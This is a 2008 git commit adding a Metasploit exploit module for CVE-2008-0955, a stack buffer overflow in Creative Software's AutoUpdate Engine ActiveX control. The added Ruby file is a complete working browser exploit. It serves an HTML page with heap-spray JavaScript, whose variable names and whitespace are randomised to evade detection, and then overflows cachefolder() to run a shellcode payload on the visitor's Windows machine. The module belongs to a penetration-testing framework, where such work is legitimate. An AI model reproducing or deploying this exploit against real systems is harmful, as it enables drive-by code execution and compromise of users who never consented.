added exploit module creative_software_cachefolder.rb

git-svn-id: file:///home/svn/framework3/trunk@5531 4d416f70-5f16-0410-b530-b9f4589650da
2008-06-17 15:11:17 +00:00 · 2008-06-17 15:11:17 +00:00 · 8e7ac6c9ac
parent 44e16600d1
commit 8e7ac6c9ac
1 changed files with 116 additions and 0 deletions
--- a/modules/exploits/windows/browser/creative_software_cachefolder.rb
+++ b/modules/exploits/windows/browser/creative_software_cachefolder.rb
@ -0,0 +1,116 @@
+##
+## $Id: creative_software_cachefolder.rb 
+###
+
+###
+## This file is part of the Metasploit Framework and may be subject to
+## redistribution and commercial restrictions. Please see the Metasploit
+## Framework web site for more information on licensing and terms of use.
+## http://metasploit.com/projects/Framework/
+###
+
+
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Browser::CreativeSoftwareCachefolder < Msf::Exploit::Remote
+
+	include Exploit::Remote::HttpServer::HTML
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow',
+			'Description'    => %q{
+				This module exploits a stack overflow in Creative Software AutoUpdate Engine. When
+				sending an overly long string to the cachefolder() property of CTSUEng.ocx 
+				an attacker may be able to execute arbitrary code.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         => [ 'MC', ], 
+			'Version'        => '$Revision$',
+			'References'     => 
+				[
+					[ 'CVE', '2008-0955' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Payload'        =>
+				{
+					'Space'         => 1024,
+					'BadChars'      => "\x00",
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]	
+				],
+			'DisclosureDate' => 'May 28 2008',
+			'DefaultTarget'  => 0))
+	end
+
+	def autofilter
+		false
+	end
+
+	def check_dependencies
+		use_zlib
+	end
+
+	def on_request_uri(cli, request)
+		# Re-generate the payload
+		return if ((p = regenerate_payload(cli)) == nil)
+
+		# Encode the shellcode
+		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
+
+		# Randomize the javascript variable names
+		vname  = rand_text_alpha(rand(100) + 1)
+		var_i  = rand_text_alpha(rand(30)  + 2)
+		rand1  = rand_text_alpha(rand(100) + 1)
+		rand2  = rand_text_alpha(rand(100) + 1)
+		rand3  = rand_text_alpha(rand(100) + 1)
+		rand4  = rand_text_alpha(rand(100) + 1)
+		rand5  = rand_text_alpha(rand(100) + 1)
+		rand6  = rand_text_alpha(rand(100) + 1)
+		rand7  = rand_text_alpha(rand(100) + 1)
+		rand8  = rand_text_alpha(rand(100) + 1)
+
+		content = %Q|
+         <html>
+            <object id='#{vname}' classid='clsid:0A5FD7C5-A45C-49FC-ADB5-9952547D5715'></object>
+            <script language="JavaScript">
+            var #{rand1} = unescape('#{shellcode}');
+            var #{rand2} = unescape("%u0c0c%u0c0c");
+            var #{rand3} = 20;
+            var #{rand4} = #{rand3} + #{rand1}.length;
+            while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
+            var #{rand5} = #{rand2}.substring(0,#{rand4});
+            var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
+            while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
+            var #{rand7} = new Array();
+            for (#{var_i} = 0; #{var_i} < 500; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
+            var #{rand8} = ""
+            for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape("%0c%0c") }
+            #{vname}.cachefolder(#{rand8});
+            </script>
+         </html>
+				|
+
+		# Randomize the whitespace in the document
+		content = Rex::Text.randomize_space(content)
+		
+		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
+
+		# Transmit the response to the client
+		send_response_html(cli, content)
+		
+		# Handle the payload
+		handler(cli)
+	end
+
+end
+end
+